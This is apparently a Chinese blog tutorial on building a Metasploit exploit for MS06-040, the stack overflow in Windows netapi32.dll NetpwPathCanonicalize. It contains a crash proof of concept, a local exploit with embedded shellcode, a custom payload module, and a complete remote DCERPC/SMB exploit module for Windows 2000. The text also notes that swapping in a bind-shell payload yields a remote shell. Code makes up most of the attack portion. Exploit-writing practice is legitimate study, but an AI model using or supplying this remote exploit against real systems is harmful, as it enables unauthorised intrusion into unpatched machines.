远程RPC溢出EXP编写实战之MS06-040
0x01 前言
MS06-040算是个比较老的洞了,在当年影响十分之广,基本上Microsoft大部分操作系统都受到了影响,威力不亚于17年爆出的”永恒之蓝”漏洞。漏洞成因是Windows中参与socket网络的netapi32.dll动态链接库里的一个导出函数NetpwPathCanonicalize()存在栈溢出,而且这个函数能够通过RPC远程调用。由于是栈溢出利用起来不算太复杂,正好用来实践编写metasploit的远程利用脚本。
0x02 前期准备
1. Windows XP Professional sp3(非必需,我因为VC6安装在这上面,只是用来编译POC) 2. Windows 2000 Professional sp0(其他系统版本可能需要重新调试,更高版本可能需要绕过部分安全机制) 3. Kali Linux x64(安装有metasploit framework latest) 4. 调试器:Ollydbg 1.10 5. 编译器: VC++ 6.0 6. 反编译器: IDA 6.8 7. 注意: 需要未打补丁的netapi32.dll,Windows 2000在C:WINNTsystem32目录下能找到, 或者用以下提供的dll,但远程exploit必须要带有未打补丁dll的系统。
相关下载:
链接:https://pan.baidu.com/s/1qZQ1vnY 密码:5stq
0x03 定位崩溃点
VC++ 6.0编译POC, 运行
#include"stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll";
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,'a',sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'b',sizeof(prefix)-2);
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
return 0;
}
程序崩溃掉, OD附加上去, EIP被”aaaa”填充
执行文件拖到OD, 单步来到call netapi32.NetpwPathCanonicalize, 再往下程序崩掉
跟进NetpwPathCanonicalize函数, 执行MSVCRT.wcscat, 当retn时程序再次崩溃
此处应该就是崩溃点, 在IDA定位到该函数
copy”bbbbbb…”串到栈上
“bbbbb…”串尾部拼接一个0x005C
继续拼接”aaaaa…”串, 覆盖返回地址
0x04 本地exploit
漏洞的成因是在prefix串的基础上拼接path串时没有长度检查,导致栈溢出。下面通过构造prefix、path串实现本地exploit。
观察在崩溃函数retn时, ecx指向缓冲区的开始。这样可以把shellcode布置在”bbbbbb….”串里, 用一条call/jmp ecx跳到栈上执行
// ms06_040_exp.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);
char shellcode[]=
"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42x08"
"x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03x78x3c"
"x8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8bx34xafx01"
"xc6x45x81x3ex46x61x74x61x75xf2x81x7ex08x45x78x69"
"x74x75xe9x8bx7ax24x01xc7x66x8bx2cx6fx8bx7ax1cx01"
"xc7x8bx7cxafxfcx01xc7x68x67x20x20x01x68x79x30x75"
"x6ex68x20x77x6fx6fx89xe1xfex49x0bx31xc0x51x50xff"
"xd7"; // 弹框
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[] = "./netapi32.dll";
char VulFunc[] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,0x90,sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'a',sizeof(prefix)-2);
memcpy(prefix,shellcode,113);
path[0x318]=0xF9; // call ecx,可能需要调试确定
path[0x319]=0x52;
path[0x31A]=0x18;
path[0x31B]=0x75;
(Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
FreeLibrary(LibHandle);
return 0;
}
pwn~
0x05 远程exploit
很好,现在已经能够本地溢出NetpwPathCanonicalize()函数,下面我们利用metasploit提供的类库来写一份远程exp
##
# Author: wooy0ung
# Date: 2018/01/15
##
require 'msf/core'
module Metasploit3
CachedSize = 200
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Warning Box',
'Description' => 'Only for Version under Windows 7',
'Author' => [ 'wooy0ung' ],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Payload' =>
"x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42x08"+
"x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03x78x3c"+
"x8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8bx34xafx01"+
"xc6x45x81x3ex46x61x74x61x75xf2x81x7ex08x45x78x69"+
"x74x75xe9x8bx7ax24x01xc7x66x8bx2cx6fx8bx7ax1cx01"+
"xc7x8bx7cxafxfcx01xc7x68x67x20x20x01x68x79x30x75"+
"x6ex68x20x77x6fx6fx89xe1xfex49x0bx31xc0x51x50xff"+
"xd7"
}
))
end
end
以上是一段弹出警告框的payload,新建一个文本贴入以上代码,保存为warning.rb。
##
# Author: wooy0ung
# Date: 2018/01/15
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Exploit::Remote::DCERPC
include Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => "MS06-040 RPC Exploit",
'Description' => 'Only for Windows 2000 Professional sp0',
'Author' => [ 'wooy0ung' ],
'Platform' => "win",
'DefaultOptions' => {'EXITFUNC' => 'thread',},
'DefaultTarget' => 0,
'Targets' => [['Windows 2000 Professional sp0', {'Ret' => [0x318 , 0x74FB62C3] }]]))
register_options([OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),], self.class)
end
def exploit
connect()
smb_login()
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188','3.0','ncacn_np',["\#{datastore['SMBPIPE']}"])
dcerpc_bind(handle)
prefix = payload.encoded + make_nops(0x100 - payload.encoded.length - 2) + "x00x00"
path = make_nops(0x318) + [target['Ret'][1]].pack('V') +
"x04xD0xFDx7F" * 5 + # 可写地址(这里原本是崩溃函数传入的5个参数)
"x66x81xECx30x04" + # sub esp,430 (0x100 + 0x318 + 4 * 6 = 0x430 将esp指向payload起始)
"x8BxC4" + # mov eax, esp
"xFFxE4" + # jmp esp
"x00x00" # Unicode结束符
stub = NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString('') +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(rand(250)+1) +
NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
NDR.long(rand(250)+1) +
NDR.long(0)
begin
dcerpc.call(0x1f, stub, false)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
rescue => e
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
raise e
end
end
handler
disconnect
end
end
以上则是利用脚本,保存为ms06_040.rb,主要是构造shellcode(在path做ROP,跳到prefix中执行payload),在Windows 2000下利用起来比较容易,不再作解释。
选择之前保存的exp和payload,设置好靶机ip,pwn~
当然,将普通弹框换成bind_shell的payload就可以拿到shell了~
0x06 后记
看了metasploit的exploits模块里MS06-040的利用脚本,发现这个洞一直影响到XP和Server 2003版本。因为主要是为了练习写metasploit框架的exp,所以就不继续延伸了。
- Hue中使用Oozie创建Ssh工作流时sudo命令执行失败问题分析
- [译]Safari URL重定向漏洞(CVE-2016-4585)利用分析
- Hive中的Timestamp类型日期与Impala中显示不一致分析(补充)
- 百篇(5):FeignClient 在不同场景中的应用
- 如何使用Hue上创建一个完整Oozie工作流
- MySQL远程代码执行/权限提升漏洞的分析与实践(CVE-2016-6662)
- 如何在CDH集群上部署Python3运行环境及运行Python作业
- Hacking Aria2 RPC Daemon
- 如何修改CDH集群的DataNoe节点HOSTNAME
- Sparkjava Framework 文件遍历漏洞(CVE-2016-9177)分析与探究
- 绕过混合内容警告 - 在安全的页面加载不安全的内容
- 如何在Kerberos环境使用Flume采集Kafka数据并写入HDFS
- 熊市里生成几个BTC靓号,冷存储起来装死吧
- 傲游浏览器漏洞系列(上)- 任意文件写入,UXSS
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- OpenGL ES for Android 相机预览
- OpenGL ES for Android 相机预览适配不同分辨率的手机
- Flutter Widgets 之 Container
- Flutter Widgets 之 Row和Column
- Flutter Widgets 之 SafeArea
- Flutter Widgets 之 Wrap
- Flutter Widgets 之 Expanded和Flexible
- 可能是Asp.net Core On host、 docker、kubernetes(K8s) 配置读取的最佳实践
- Flutter Widgets 之 AnimatedContainer
- Flutter Widgets 之 Opacity 和AnimatedOpacity
- 聊聊常见的服务(接口)认证授权
- Flutter Widgets 之 FutureBuilder
- [Hei-Ocelot-Gateway ].Net Core Api网关Ocelot的开箱即用版本
- Flutter Widgets 之 InkWell 和 Ink
- Flutter Widgets 之 BottomNavigationBar